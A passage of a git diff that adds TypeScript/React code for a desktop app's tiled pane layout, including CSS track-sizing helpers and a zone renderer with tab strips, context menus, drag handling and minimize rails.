+   *  (self-subscribing — it updates without the strip re-registering). */
+  tabLead?: () => React.ReactNode
+  /** Glyph buttons this pane contributes to the strip, rendered after the last
+   *  tab (where "+" sits) while the pane is ACTIVE — controls that act on the
+   *  pane, not on any one tab: a preview's console / DevTools toggles. DATA, not
+   *  markup: `PaneStripGlyph` owns the styling so every glyph on every strip
+   *  matches. Read on each render, so a live store drives `active`/`disabled`. */
+  stripTools?: () => readonly PaneStripTool[]
+}
+
+export const paneChrome = (c: Contribution | undefined) => (c?.data ?? {}) as PaneChrome
+
+/** Resolve a computed style length ("237px" / "none" / "auto") to px. */
+export function computedPx(value: string, fallback: number): number {
+  const n = Number.parseFloat(value)
+
+  return Number.isFinite(n) ? n : fallback
+}
+
+/** Resolve an AUTHORED CSS length ("237px", "38vh", "clamp(18rem,36vw,32rem)")
+ *  to px by measuring a probe inside `container` — handles every unit and
+ *  math function the browser does. */
+export function resolveCssPx(container: HTMLElement, css: number | string, horizontal: boolean): number | null {
+  if (typeof css === 'number') {
+    return css
+  }
+
+  const probe = document.createElement('div')
+  probe.style.position = 'absolute'
+  probe.style.visibility = 'hidden'
+  probe.style.pointerEvents = 'none'
+
+  if (horizontal) {
+    probe.style.width = css
+  } else {
+    probe.style.height = css
+  }
+
+  container.appendChild(probe)
+  const rect = probe.getBoundingClientRect()
+  probe.remove()
+  const px = horizontal ? rect.width : rect.height
+
+  return Number.isFinite(px) && px > 0 ? px : null
+}
+
+/** Everything fixed-track resolution needs about the current view state. */
+export interface TrackContext {
+  paneFor: (id: string) => Contribution | undefined
+  paneGone: (id: string) => boolean
+  overrides: Record<string, { widthOverride?: number; heightOverride?: number }>
+}
+
+/** A group's panes that are actually on screen (not hidden / narrow-collapsed
+ *  / unregistered). The one place the "shown" filter lives. */
+export const shownPaneIds = (group: GroupNode, ctx: TrackContext): string[] =>
+  group.panes.filter(id => !ctx.paneGone(id))
+
+/** max() of the defined CSS lengths (deduped); undefined when none — the
+ *  largest-tenant basis a fixed stack and its clamps both size from. */
+export const cssMax = (values: (string | null | undefined)[]): string | undefined => {
+  const unique = [...new Set(values.filter((v): v is string => Boolean(v)))]
+
+  return unique.length === 0 ? undefined : unique.length === 1 ? unique[0] : `max(${unique.join(', ')})`
+}
+
+/**
+ * THE TRACK MODEL. A node's size along `axis` is FIXED when it resolves to a
+ * CSS length, and FLEX (weight-shared leftover) when null:
+ *
+ *  - zone: the max() of its shown panes' declared `width`/`height` (a live px
+ *    override from a sash drag wins) — sidebars keep their size, main flexes,
+ *    and the zone never resizes when tabs switch or a drop fronts a pane.
+ *  - split ALONG the axis: the sum of its visible children — fixed only when
+ *    every child is (one flex child makes the run flex).
+ *  - split ACROSS the axis: the max of its visible fixed children (flex
+ *    children just stretch to the container); flex only when none are fixed.
+ *
+ * This is how "two right sidebars over a terminal row" sizes itself from its
+ * content (237px, or 474px when review is visible) instead of taking a
+ * fraction of the window.
+ */
+/** A minimized zone IS its strip: the vertical rail (row) / header (column)
+ *  are both 28px thick. */
+export const MINIMIZED_TRACK = '1.75rem'
+
+/**
+ * In an all-fixed split, the last uncapped track may absorb leftover space
+ * (terminal/logs stacked at 38vh with nothing else to fill the column). A
+ * CAPPED track must never be the absorber: review/files declare maxWidth
+ * 20rem, and promoting them to grow-1 + dropping the clamp made ⌘G / ⌘J open
+ * a half-window rail and ignore sash-remembered sizes (flex-basis alone
+ * can't hold against grow).
+ *
+ * Returns the child index to absorb, or -1 when every fixed track is capped
+ * (leave dead space — better than a ballooned sidebar).
+ */
+export function allFixedAbsorberIndex(
+  growable: readonly number[],
+  maxAlongAxis: (index: number) => string | undefined
+): number {
+  if (growable.length === 0) {
+    return -1
+  }
+
+  for (let i = growable.length - 1; i >= 0; i--) {
+    const index = growable[i]
+
+    if (!maxAlongAxis(index)) {
+      return index
+    }
+  }
+
+  return -1
+}
+
+export function fixedTrackSize(node: LayoutNode, axis: 'row' | 'column', ctx: TrackContext): string | null {
+  if (node.type === 'group') {
+    // Ancestor splits must size a minimized zone as its strip, not as its
+    // panes' declared widths — otherwise the outer track keeps reserving the
+    // full sidebar width and the collapsed rail floats in a dead column.
+    if (node.minimized) {
+      return MINIMIZED_TRACK
+    }
+
+    const overrideKey = axis === 'row' ? 'widthOverride' : 'heightOverride'
+
+    const declared = (id: string) => {
+      const sizing = (ctx.paneFor(id)?.data ?? {}) as PaneSizing
+      const css = (axis === 'row' ? sizing.width : sizing.height) ?? null
+      const override = ctx.overrides[id]?.[overrideKey]
+
+      // An override only refines a pane that DECLARES a size along this axis
+      // (sash drags write overrides to fixed zones only). One without a
+      // declaration is stale data from another surface — honoring it would
+      // turn a flex-at-heart zone (main!) into a fixed track and hand the
+      // whole leftover to the run's absorber.
+      if (css !== null && override !== undefined) {
+        return `${override}px`
+      }
+
+      return css
+    }
+
+    // Which zones are FIXED tracks:
+    //  - a MAIN-bearing zone (workspace/tile stacked in) is flex-at-heart —
+    //    mixing a sidebar pane into it (files fronted in the Focus mono-stack)
+    //    must NOT snap the whole zone to sidebar width;
+    //  - any other zone stays fixed as long as SOME tenant declares a size —
+    //    dropping a size-less pane (the terminal has height but no width)
+    //    into the 237px files sidebar must not balloon it to a flex track.
+    const ids = shownPaneIds(node, ctx)
+    const sizes = ids.map(declared)
+    const declaredSizes = sizes.filter((size): size is string => size !== null)
+
+    if (declaredSizes.length === 0) {
+      return null
+    }
+
+    if (sizes.length !== declaredSizes.length && ids.some(id => paneChrome(ctx.paneFor(id)).placement === 'main')) {
+      return null
+    }
+
+    // A STACK sizes to its LARGEST tenant (CSS max()), never the active tab:
+    // dropping a pane into a zone — the drop fronts it — or switching tabs
+    // must not resize the container (dropping sessions into a wider fixed
+    // zone used to snap the whole zone down to sidebar width).
+    return cssMax(declaredSizes) ?? null
+  }
+
+  const visible = node.children.filter(child => !subtreeGone(child, ctx))
+  const sizes = visible.map(child => fixedTrackSize(child, axis, ctx))
+
+  if (node.orientation === axis) {
+    if (sizes.length === 0 || sizes.some(size => size === null)) {
+      return null
+    }
+
+    return sizes.length === 1 ? sizes[0] : `calc(${sizes.join(' + ')})`
+  }
+
+  // Across the axis a flex child just stretches; the fixed ones set the size.
+  return cssMax(sizes) ?? null
+}
+
+/** True when every pane in the subtree is hidden/narrow-collapsed. */
+export function subtreeGone(node: LayoutNode, ctx: TrackContext): boolean {
+  const ids = allPaneIds(node)
+
+  return ids.length > 0 && ids.every(ctx.paneGone)
+}
+
+/**
+ * Which chrome toggle owns a root-row child — SEMANTIC, not positional:
+ * ⌘B is the sessions/nav column (any `placement: 'left'` pane) wherever a
+ * flip or drag puts it; ⌘J is every other side column. `null` = contains
+ * the main zone, never side-collapsed. This is what keeps the titlebar
+ * toggles and reveals 100% main-compatible through ⌘\ flips.
+ */
+export function rootChildSide(
+  child: LayoutNode,
+  paneFor: (id: string) => Contribution | undefined
+): 'left' | 'right' | null {
+  const placements = allPaneIds(child).map(id => paneChrome(paneFor(id)).placement)
+
+  if (placements.includes('main')) {
+    return null
+  }
+
+  return placements.includes('left') ? 'left' : 'right'
+}
+
+/**
+ * The FIXED zone that owns `edge` of this subtree along `axis` — the zone a
+ * sash on that boundary actually resizes (dragging the seam between main and
+ * a nested right section resizes the section's edge sidebar, VS Code-style).
+ */
+export function edgeFixedZone(
+  node: LayoutNode,
+  edge: 'start' | 'end',
+  axis: 'row' | 'column',
+  ctx: TrackContext
+): GroupNode | null {
+  if (node.type === 'group') {
+    return fixedTrackSize(node, axis, ctx) !== null ? node : null
+  }
+
+  const visible = node.children.filter(child => !subtreeGone(child, ctx))
+
+  if (node.orientation === axis) {
+    const child = edge === 'start' ? visible[0] : visible[visible.length - 1]
+
+    return child ? edgeFixedZone(child, edge, axis, ctx) : null
+  }
+
+  // Cross-axis: every child touches the edge — the first fixed one owns it.
+  for (const child of visible) {
+    const zone = edgeFixedZone(child, edge, axis, ctx)
+
+    if (zone) {
+      return zone
+    }
+  }
+
+  return null
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tree-group.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/tree-group.tsx
new file mode 100644
index 000000000..991695273
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tree-group.tsx
@@ -0,0 +1,830 @@
+/**
+ * Group node renderer — a ZONE: header strip (tabs when stacked, minimize
+ * chevron) + the active pane's content, resolved from the contribution
+ * registry (`area: 'panes'`). Empty zones exist only in editor-authored
+ * trees (drop targets until the first structural op prunes them).
+ *
+ * Dragging is FancyZones-style (drag-session.ts): the layout stays fixed and
+ * every zone lights up as a whole-region drop target. Right-click opens the
+ * contextual zone menu (tab close verbs + header/minimize toggles).
+ */
+
+import { useStore } from '@nanostores/react'
+import { type CSSProperties, Fragment, type ReactNode, type RefObject, useEffect, useRef, useState } from 'react'
+
+import { ActionsContextMenu, type MenuKit, renderActionItem } from '@/components/ui/actions-menu'
+import { Codicon } from '@/components/ui/codicon'
+import { DecodeText } from '@/components/ui/decode-text'
+import { DROP_SHEET_BLUR_CLASS, DROP_SHEET_CLASS } from '@/components/ui/drop-affordance'
+import {
+  PANE_TAB_STRIP_LINE_LEFT,
+  PANE_TAB_STRIP_LINE_RIGHT,
+  PaneStripGlyph,
+  PaneTab,
+  paneTabCloseItems,
+  PaneTabLabel,
+  PaneTabStrip
+} from '@/components/ui/pane-tab'
+import { ContribBoundary } from '@/contrib/react/boundary'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import { $layoutEditMode } from '../../edit-mode'
+import { useWindowControlsOverlap } from '../../geometry'
+import { hiddenPaneProps, PaneGroupContext, PaneVisibleContext } from '../../pane-visibility'
+import type { DropPosition, GroupNode } from '../model'
+import {
+  $dropHint,
+  $hiddenTreePanes,
+  $narrowViewport,
+  $newSessionTabAction,
+  $panesWithCloser,
+  $stripToolsRevision,
+  $treeDragging,
+  $treePaneEpochs,
+  activateTreePane,
+  closeAllTreeTabs,
+  closeOtherTreeTabs,
+  closeTabPane,
+  closeTreeTabsToRight,
+  collapseTreePane,
+  isCollapsePane,
+  isSessionStripPane,
+  noteActiveTreeGroup,
+  reloadTreePane,
+  restoreTreePane,
+  SESSION_TILE_DRAG,
+  setTreeGroupHeaderHidden,
+  setTreeGroupMinimized,
+  treeTabCloseTargets
+} from '../store'
+import {
+  $tabSelection,
+  clearTabSelection,
+  isToggleSelectClick,
+  selectionFor,
+  selectTabRange,
+  toggleTabSelected
+} from '../tab-selection'
+
+import { type DoubleTapContext, startPaneDrag } from './drag-session'
+import { forceLoneHeaderForPanes } from './lone-header'
+import { useActiveTabVisible } from './tab-strip-scroll'
+import { paneChrome } from './track-model'
+
+/** Right-click zone menu: the tab verbs (close this / others / to the right /
+ *  all) plus the strip's own chrome toggles. Same items and icons as a session
+ *  tab's menu, so every tab in a strip answers a right-click the same way —
+ *  a pane with no domain menu of its own (the file tree, a terminal, the main
+ *  tab on a fresh draft) falls through to this one. */
+function ZoneMenu({
+  children,
+  closable,
+  minimizable = true,
+  headerHidden,
+  minimized,
+  nodeId,
+  targetPane
+}: {
+  children: ReactNode
+  /** The pane the menu closes (the right-clicked chip / the active pane);
+   *  undefined = not closable (the main zone). */
+  closable?: () => string | undefined
+  /** False for the zone hosting the uncloseable workspace — collapsing the
+   *  MAIN pane strands the app behind a strip. */
+  minimizable?: boolean
+  headerHidden?: boolean
+  minimized?: boolean
+  nodeId: string
+  /** The right-clicked chip (else the active pane) — what the close-others /
+   *  to-the-right / all verbs measure from. Called when the menu RENDERS, not
+   *  on every zone re-render: resolving the siblings reads the layout tree,
+   *  and subscribing every zone to it made a sash drag re-render every
+   *  mounted pane. */
+  targetPane: () => string
+}) {
+  const { t } = useI18n()
+
+  // Resolved at render: the menu mounts on open, after the right-click set
+  // menuPane — so an uncloseable target hides Close instead of offering a
+  // dead action, and the counts describe the chip actually clicked.
+  const items = (kit: MenuKit) => {
+    const paneId = closable?.()
+    const targetId = targetPane()
+
+    return (
+      <>
+        {renderActionItem(kit, {
+          icon: 'refresh',
+          label: t.zones.reload,
+          onSelect: () => reloadTreePane(targetId)
+        })}
+        <kit.Separator />
+        {paneTabCloseItems(kit, {
+          counts: treeTabCloseTargets(targetId),
+          onClose: paneId !== undefined ? () => closeTabPane(paneId) : undefined,
+          onCloseAll: () => closeAllTreeTabs(targetId),
+          onCloseOthers: () => closeOtherTreeTabs(targetId),
+          onCloseToRight: () => closeTreeTabsToRight(targetId)
+        })}
+        <kit.Separator />
+        {renderActionItem(kit, {
+          icon: headerHidden ? 'eye' : 'eye-closed',
+          label: headerHidden ? t.zones.showHeader : t.zones.hideHeader,
+          onSelect: () => setTreeGroupHeaderHidden(nodeId, !headerHidden)
+        })}
+        {minimizable &&
+          renderActionItem(kit, {
+            icon: minimized ? 'chevron-down' : 'chevron-up',
+            label: minimized ? t.zones.restore : t.zones.minimize,
+            onSelect: () => setTreeGroupMinimized(nodeId, !minimized)
+          })}
+      </>
+    )
+  }
+
+  return (
+    <ActionsContextMenu contentClassName="w-40" items={items}>
+      {children}
+    </ActionsContextMenu>
+  )
+}
+
+export function TreeGroup({
+  node,
+  parentAxis,
+  railSide = 'left'
+}: {
+  node: GroupNode
+  parentAxis?: 'column' | 'row'
+  railSide?: 'left' | 'right'
+}) {
+  const { t } = useI18n()
+  const ref = useRef<HTMLDivElement>(null)
+  const stripRef = useRef<HTMLDivElement>(null)
+  // The scrolling tab list inside the header (the strip also holds the
+  // minimize chevron, which must not scroll away).
+  const tabsRef = useRef<HTMLDivElement>(null)
+  // The chip under the last right-click — the pane the zone menu's Split
+  // actions carry into the new zone (header background = the active pane).
+  // STATE, not a ref: the menu items (incl. Close's visibility) are JSX
+  // evaluated during THIS component's render — a ref write on right-click
+  // doesn't re-render, so the menu showed the PREVIOUS target's items (Close
+  // missing on an inactive tile tab whose zone-active was the uncloseable
+  // workspace).
+  const [menuPane, setMenuPane] = useState<string | undefined>(undefined)
+  const panes = useContributions('panes')
+  // Coarse drag flag only (set once at drag start/end). The per-frame drop
+  // HINT lives in ZoneDropOverlay so a moving pointer re-renders the tiny
+  // overlay, not every zone's header/body (and not the menuDirections walk).
+  const dragging = useStore($treeDragging)
+  const editMode = useStore($layoutEditMode)
+  const wcOverlap = useWindowControlsOverlap(ref, true)
+
+  const hiddenPanes = useStore($hiddenTreePanes)
+  const narrow = useStore($narrowViewport)
+  const newSessionTabAction = useStore($newSessionTabAction)
+  const panesWithCloser = useStore($panesWithCloser)
+  // Multi-tab selection (⌥/Ctrl-click, Shift-click) — null for every zone but
+  // the one holding it, so this subscription is quiet during normal use.
+  const tabSelection = useStore($tabSelection)
+  // Reload epochs: only an explicit tab-menu Reload writes here, so this
+  // subscription costs nothing on a normal render.
+  const paneEpochs = useStore($treePaneEpochs)
+  // Re-read the active pane's contributed strip glyphs when their state changes
+  // (a toggle flipped, a DevTools handle registered).
+  useStore($stripToolsRevision)
+
+  const paneFor = (id: string) => panes.find(p => p.id === id)
+
+  // Unregistered (plugin not loaded), chrome-toggled-off, and narrow-collapsed
+  // panes drop out of the header; the active pane falls back to the first
+  // shown one (render-side — the tree keeps `active`).
+  // Edit mode forces toggle-hidden panes visible so they can be rearranged
+  // (mirrors tree-split's paneGone) — restores itself on exit.
+  const paneShown = (id: string) =>
+    Boolean(paneFor(id)) && (editMode || !hiddenPanes.has(id)) && !(narrow && paneChrome(paneFor(id)).collapsible)
+
+  const shown = node.panes.filter(paneShown)
+  const activeId = shown.includes(node.active) ? node.active : (shown[0] ?? node.active)
+  const active = paneFor(activeId)
+  const isEmpty = node.panes.length === 0
+
+  // KEEP-ALIVE: every pane that has been ACTIVE in this zone stays mounted —
+  // an inactive tab merely hides (visibility), it does not unmount. Remounting
+  // on every tab switch re-measured and re-scrolled the content from scratch
+  // (the thread visibly layout-shifted each time a session tab was revisited).
+  // Lazy on purpose: a pane first mounts when first activated, so a
+  // boot-restored tab stack doesn't resume every session up front.
+  const everActivePanesRef = useRef<Set<string>>(new Set())
+
+  useEffect(() => {
+    if (!node.minimized && !isEmpty) {
+      everActivePanesRef.current.add(activeId)
+    }
+
+    // Prune panes that left the zone (closed / moved to another group), so a
+    // long-lived zone doesn't pin stale ids forever.
+    for (const id of everActivePanesRef.current) {
+      if (!node.panes.includes(id)) {
+        everActivePanesRef.current.delete(id)
+      }
+    }
+  })
+
+  const keptPanes = shown.filter(id => id === activeId || everActivePanesRef.current.has(id))
+
+  // ONE header style: the app's compact pane-header. DEFAULT is contextual —
+  // a single pane isn't a "tab", so its header auto-hides; a stack shows its
+  // chips. EXCEPTIONS force a lone pane to keep its header (tab + close X):
+  //  - a TILE (closeable, placement 'main' — a session/page split), else a
+  //    tile in its own zone is unclosable (the "3rd tile has no tab" trap);
+  //  - a TOOL PANEL (terminal/logs — a collapse pane) dragged out of the main
+  //    stack, else it's a dead zone with no tab to grab or ✕ to close.
+  // The uncloseable workspace and side chrome (sessions/files) keep the clean
+  // no-tab default. Double-click toggles it either way; a minimized group
+  // always shows its header (it IS the header).
+  // Session-tile ids force the header even before chrome registers — cycling
+  // onto a freshly-split tile used to land headerless ("name card missing").
+  const forceLoneHeader = forceLoneHeaderForPanes(shown, id => paneChrome(paneFor(id)), isCollapsePane)
+
+  // A full-page view (headerVeto) suppresses the strip while it's the active
+  // pane — a page is not a tab-able surface; the bar returns with the chat.
+  const headerHidden = paneChrome(active).headerVeto || (node.headerHidden ?? (shown.length <= 1 && !forceLoneHeader))
+
+  // A group collapses ALONG its parent split's axis. In a row that means the
+  // WIDTH collapses — a full-width horizontal header would strand a tall
+  // empty column, so the minimized form is a narrow vertical rail instead
+  // (tabs reading top-to-bottom). In a column (stacked zones) the horizontal
+  // header IS the collapsed form, exactly as before.
+  const verticalCollapse = Boolean(node.minimized) && parentAxis === 'row' && !isEmpty
+  const headerVisible = !isEmpty && !verticalCollapse && (Boolean(node.minimized) || !headerHidden)
+
+  // Keep the activated tab — and, on the last one, the trailing "+" — inside
+  // the strip's scroll window. Opening a tab past the right edge otherwise
+  // left both the new tab and the button that made it out of view.
+  useActiveTabVisible(tabsRef, activeId, {
+    enabled: headerVisible,
+    last: shown[shown.length - 1] === activeId,
+    tabCount: shown.length
+  })
+
+  // Drag handles preventDefault pointerdown (no native dblclick), so the
+  // header + chips share a synthesized double-tap: restore if collapsed
+  // (undoing the first tap's minimize toggle) and hide the chrome.
+  const hideHeaderDoubleTap: DoubleTapContext = {
+    key: `hide-header-${node.id}`,
+    onDoubleTap: () => {
+      setTreeGroupMinimized(node.id, false)
+      setTreeGroupHeaderHidden(node.id, true)
+    }
+  }
+
+  // Zone-menu close targets read the layout tree, but this component must NOT
+  // subscribe to it: `useStore($layoutTree)` here wires every zone — and
+  // therefore every mounted pane and its whole transcript — to the entire
+  // tree. A sash drag rewrites the tree once per frame, so dragging the
+  // sidebar re-rendered all five tiles' message lists on every pointermove
+  // (measured: TreeGroup 180 renders cascading into ChatView/Thread/TileChat
+  // at ~4.5s each, holding the drag at ~3fps). The menu's items are resolved
+  // when it OPENS, so they read the tree with `.get()` at that moment instead.
+  const targetPane = () => menuPane ?? activeId
+
+  // Close targets the right-clicked chip (falling back to the active pane);
+  // only panes that declare `uncloseable` (the main workspace) are exempt.
+  const closable = () => {
+    const paneId = targetPane()
+
+    return paneChrome(paneFor(paneId)).uncloseable ? undefined : paneId
+  }
+
+  // The zone hosting the uncloseable workspace never minimizes — collapsing
+  // MAIN strands the whole app behind a strip.
+  const minimizable = !shown.some(id => paneChrome(paneFor(id)).uncloseable)
+
+  // Middle-click / ⌘-click on a tab: one routing for every tab kind, the same
+  // one the zone menu's Close and ⌘W use.
+  const closeTab = (paneId: string) => closeTabPane(paneId)
+
+  // A pane whose store owns Close keeps the gesture even when the pane itself
+  // is uncloseable — the workspace tab empties to a fresh draft rather than
+  // leaving the tree.
+  const closeableTab = (paneId: string) => !paneChrome(paneFor(paneId)).uncloseable || panesWithCloser.has(paneId)
+
+  // Collapse/restore a tool panel (or plain minimize elsewhere) — the header
+  // chevron + tap gesture, routed so ⌃`/the titlebar toggle stay truthful.
+  const toggleCollapse = () => (node.minimized ? restoreTreePane(activeId) : collapseTreePane(activeId))
+
+  // Same menu on the header strip and the edit veil — one prop bag.
+  const zoneMenu = {
+    closable,
+    headerHidden,
+    minimizable,
+    minimized: node.minimized,
+    nodeId: node.id,
+    targetPane
+  }
+
+  // NO body double-click toggle: virtualized content (the thread) recreates
+  // its nodes between clicks, so the gesture was hopelessly unreliable. The
+  // bar's lifecycle is explicit instead — gaining a tab sticky-shows it
+  // (insertAtGroup pins headerHidden false), the main tab's context menu
+  // hides it, and full-page views veto it via paneChrome.headerVeto.
+
+  return (
+    <div
+      className="relative flex min-h-0 min-w-0 flex-1 flex-col overflow-hidden bg-(--ui-editor-surface-background)"
+      data-tree-group={node.id}
+      // Advertises the visible tab strip so panes can drop their own
+      // self-naming labels (see [data-pane-self-label] in styles.css).
+      data-zone-header={headerVisible || undefined}
+      // The zone menu opens from the strip, the rail, the edit veil and the
+      // body. Only the strip can name a chip, so resolve the target HERE for
+      // every one of them — otherwise a right-click off the strip reused the
+      // PREVIOUS target, and landing on the uncloseable workspace dropped
+      // Close from the menu for a pane that closes fine.
+      onContextMenu={e => {
+        setMenuPane((e.target as HTMLElement).closest('[data-tree-tab]')?.getAttribute('data-tree-tab') ?? undefined)
+      }}
+      ref={ref}
+      style={wcOverlap ? { paddingTop: wcOverlap.y + wcOverlap.height } : undefined}
+    >
+      {wcOverlap && (
+        <div
+          aria-hidden="true"
+          className="pointer-events-none absolute z-10 [-webkit-app-region:drag]"
+          style={{ height: wcOverlap.height, left: wcOverlap.x, top: wcOverlap.y, width: wcOverlap.width }}
+        />
+      )}
+
+      {/* Minimized in a ROW: a narrow vertical rail — same PaneTab shell as
+          the horizontal strip, just `vertical`. Click a tab to restore +
+          activate; click anywhere else on the rail to restore. */}
+      {verticalCollapse && (
+        <ZoneMenu {...zoneMenu}>
+          <div
+            className={cn(
+              'flex h-full w-7 shrink-0 cursor-pointer select-none flex-col items-stretch bg-(--ui-sidebar-surface-background)',
+              // Strip line faces the content the zone collapsed away from.
+              railSide === 'right' ? PANE_TAB_STRIP_LINE_LEFT : PANE_TAB_STRIP_LINE_RIGHT
+            )}
+            onClick={() => restoreTreePane(activeId)}
+            title={t.zones.restore}
+          >
+            <div
+              className="flex min-h-0 flex-col overflow-y-auto [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden"
+              role="tablist"
+            >
+              {shown.map(paneId => {
+                const closeable = closeableTab(paneId)
+                const title = paneFor(paneId)?.title ?? paneId
+
+                return (
+                  <PaneTab
+                    // Match the horizontal minimized strip: no tab is "active"
+                    // while collapsed (there's no content surface to merge into).
+                    aria-selected={paneId === activeId}
+                    data-tree-tab={paneId}
+                    key={paneId}
+                    onClick={event => {
+                      event.stopPropagation()
+                      restoreTreePane(paneId)
+                    }}
+                    onClose={closeable ? () => closeTab(paneId) : undefined}
+                    role="tab"
+                    side={railSide}
+                    vertical
+                  >
+                    <PaneTabLabel>{title}</PaneTabLabel>
+                  </PaneTab>
+                )
+              })}
+            </div>
+          </div>
+        </ZoneMenu>
+      )}
+
+      {/* Header: the shared pane tab strip (PaneTabStrip + PaneTab). */}
+      {headerVisible && (
+        <ZoneMenu {...zoneMenu}>
+          <PaneTabStrip
+            // data-zone-tabstrip: a drop over here STACKS (drag-session reads it).
+            data-zone-tabstrip={node.id}
+            listRef={tabsRef}
+            onPointerDown={e =>
+              // Tap the header to collapse to it / expand back — the DetailPane
+              // / sidebar-section gesture (never for the main zone). Double-tap
+              // hides the header entirely. Drag still moves the pane.
+              startPaneDrag(
+                activeId,
+                e,
+                () => minimizable && toggleCollapse(),
+                undefined,
+                hideHeaderDoubleTap,
+                active?.title ?? activeId
+              )
+            }
+            ref={stripRef}
+            style={{ cursor: 'grab' }}
+            trailing={
+              <>
+                {minimizable && (
+                  <button
+                    aria-label={node.minimized ? t.zones.restore : t.zones.minimize}
+                    className="mx-1 grid size-5 shrink-0 place-items-center self-center rounded-md text-(--ui-text-tertiary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground focus-visible:opacity-100 group-hover/pane-header:opacity-100"
+                    onClick={toggleCollapse}
+                    onPointerDown={e => e.stopPropagation()}
+                    type="button"
+                  >
+                    <Codicon name={node.minimized ? 'chevron-down' : 'chevron-up'} size="0.75rem" />
+                  </button>
+                )}
+                <StripDropCaret groupId={node.id} stripRef={stripRef} />
+              </>
+            }
+          >
+            {shown.map(paneId => {
+              const isActive = paneId === activeId && !node.minimized
+              const chrome = paneChrome(paneFor(paneId))
+              const closeable = closeableTab(paneId)
+              const title = paneFor(paneId)?.title ?? paneId
+              const isSelected = tabSelection?.groupId === node.id && tabSelection.ids.has(paneId)
+
+              const tab = (
+                <PaneTab
+                  active={isActive}
+                  aria-selected={isActive}
+                  data-tree-tab={paneId}
+                  key={paneId}
+                  onClose={closeable ? () => closeTab(paneId) : undefined}
+                  onPointerDown={e => {
+                    // Chrome's tab-selection grammar, ahead of activate/drag:
+                    // Shift-click ranges from the anchor, ⌥-click (Ctrl-click
+                    // off-Mac) toggles. Neither activates nor starts a drag —
+                    // the press IS the selection edit. ⌘-click stays close
+                    // (PaneTab claims it first) and ⌃-click stays the macOS
+                    // context menu.
+                    if (e.button === 0 && e.shiftKey) {
+                      e.preventDefault()
+                      e.stopPropagation()
+                      selectTabRange(node.id, shown, paneId, activeId)
+
+                      return
+                    }
+
+                    if (isToggleSelectClick(e)) {
+                      e.preventDefault()
+                      e.stopPropagation()
+                      toggleTabSelected(node.id, paneId, activeId)
+
+                      return
+                    }
+
+                    // Tabs ACTIVATE (restoring a collapsed group). Minimize
+                    // lives on the chevron / single-pane label — overloading
+                    // the active tab made double-click a minimize/restore/hide
+                    // lottery. A plain click also collapses any multi-tab
+                    // selection back to the one tab (Chrome semantics).
+                    const onTap = () => {
+                      clearTabSelection()
+
+                      if (node.minimized) {
+                        restoreTreePane(paneId)
+                      }
+
+                      activateTreePane(node.id, paneId)
+                    }
+
+                    // Claim the press so the STRIP's own pane-drag handler
+                    // (parent onPointerDown) can't also fire. startPaneDrag
+                    // does this internally; the session drag (shared with
+                    // sidebar rows) doesn't, so do it here for both paths.
+                    if (e.button === 0) {
+                      e.preventDefault()
+                      e.stopPropagation()
+                    }
+
+                    // Dragging a SELECTED tab carries the whole selection as
+                    // one block through the generic pane move — a multi-tab
+                    // drag outranks the pane's own tab drag (the session drop
+                    // language is single-session).
+                    const dragSelection = selectionFor(node.id, shown, paneId)
+
+                    if (dragSelection) {
+                      startPaneDrag(
+                        paneId,
+                        e,
+                        onTap,
+                        stripRef.current ? { groupId: node.id, strip: stripRef.current } : undefined,
+                        hideHeaderDoubleTap,
+                        t.zones.tabCount(dragSelection.length),
+                        dragSelection
+                      )
+
+                      return
+                    }
+
+                    // A pane may own its tab drag (a session tab speaks the
+                    // session drop language — link/stack/split); `false` defers
+                    // to the generic pane move (the workspace tab on a fresh
+                    // draft has no session to link).
+                    if (!chrome.tabDrag?.(e, onTap, hideHeaderDoubleTap)) {
+                      startPaneDrag(
+                        paneId,
+                        e,
+                        onTap,
+                        stripRef.current ? { groupId: node.id, strip: stripRef.current } : undefined,
+                        hideHeaderDoubleTap,
+                        title
+                      )
+                    }
+                  }}
+                  role="tab"
+                  selected={isSelected}
+                  style={{ cursor: 'grab' }}
+                >
+                  {chrome.tabLead ? (
+                    <span className="ml-2 -mr-1 flex shrink-0 items-center">{chrome.tabLead()}</span>
+                  ) : null}
+                  <PaneTabLabel>{title}</PaneTabLabel>
+                </PaneTab>
+              )
+
+              // A pane may wrap ITS tab in a domain menu (session verbs on a
+              // tile tab); the wrapper needs the key since it's the root.
+              return <Fragment key={paneId}>{chrome.tabWrap ? chrome.tabWrap(tab) : tab}</Fragment>
+            })}
+
+            {/* Bare glyphs after the last tab: whatever the ACTIVE pane
+                contributes (a preview's console / DevTools), then the "+".
+                All of them are PaneStripGlyph — same size, colour and hover,
+                because they're the same button. */}
+            {!node.minimized &&
+              paneChrome(active)
+                .stripTools?.()
+                .map(tool => <PaneStripGlyph key={tool.id} {...tool} />)}
+
+            {/* Plain "+" after the last tab of a CHAT strip (the workspace
+                zone, or any zone holding session tabs) — always shown. Creates
+                a new session tab (mirrors ⌘T) via the app-registered action;
+                the pointerdown focuses this zone first, so the tab lands in
+                THIS strip. Hidden when unwired or the zone is minimized. */}
+            {shown.some(isSessionStripPane) && newSessionTabAction && !node.minimized && (
+              <span
+                // The action docks into the FOCUSED chat zone; clicking a
+                // background strip's "+" must make THAT zone the focused one
+                // first, or the tab opens in whichever zone was last clicked.
+                // (pointerdown's own focus tracking would land after the click
+                // handler reads the anchor.)
+                onPointerDownCapture={() => noteActiveTreeGroup(node.id)}
+              >
+                <PaneStripGlyph
+                  icon={<Codicon name="add" size="0.8125rem" />}
+                  label={t.zones.newSessionTab}
+                  onSelect={() => newSessionTabAction()}
+                />
+              </span>
+            )}
+          </PaneTabStrip>
+        </ZoneMenu>
+      )}
+
+      {/* Body: the zone's pane content — every kept (ever-active) pane stays
+          mounted in an absolute layer; only the active one is visible.
+          `visibility` (not display) keeps the hidden pane's layout box, so
+          scroll positions and measurements survive the round-trip — which also
+          makes a hidden layer's rect identical to the visible one's, hence the
+          marker document-wide lookups filter on (see pane-visibility.ts). */}
+      {!node.minimized && (
+        <div className="relative min-h-0 min-w-0 flex-1 overflow-hidden">
+          {isEmpty ? (
+            <div className="grid h-full place-items-center">
+              {/* Same decode primitive as the CONNECTING boot overlay. */}
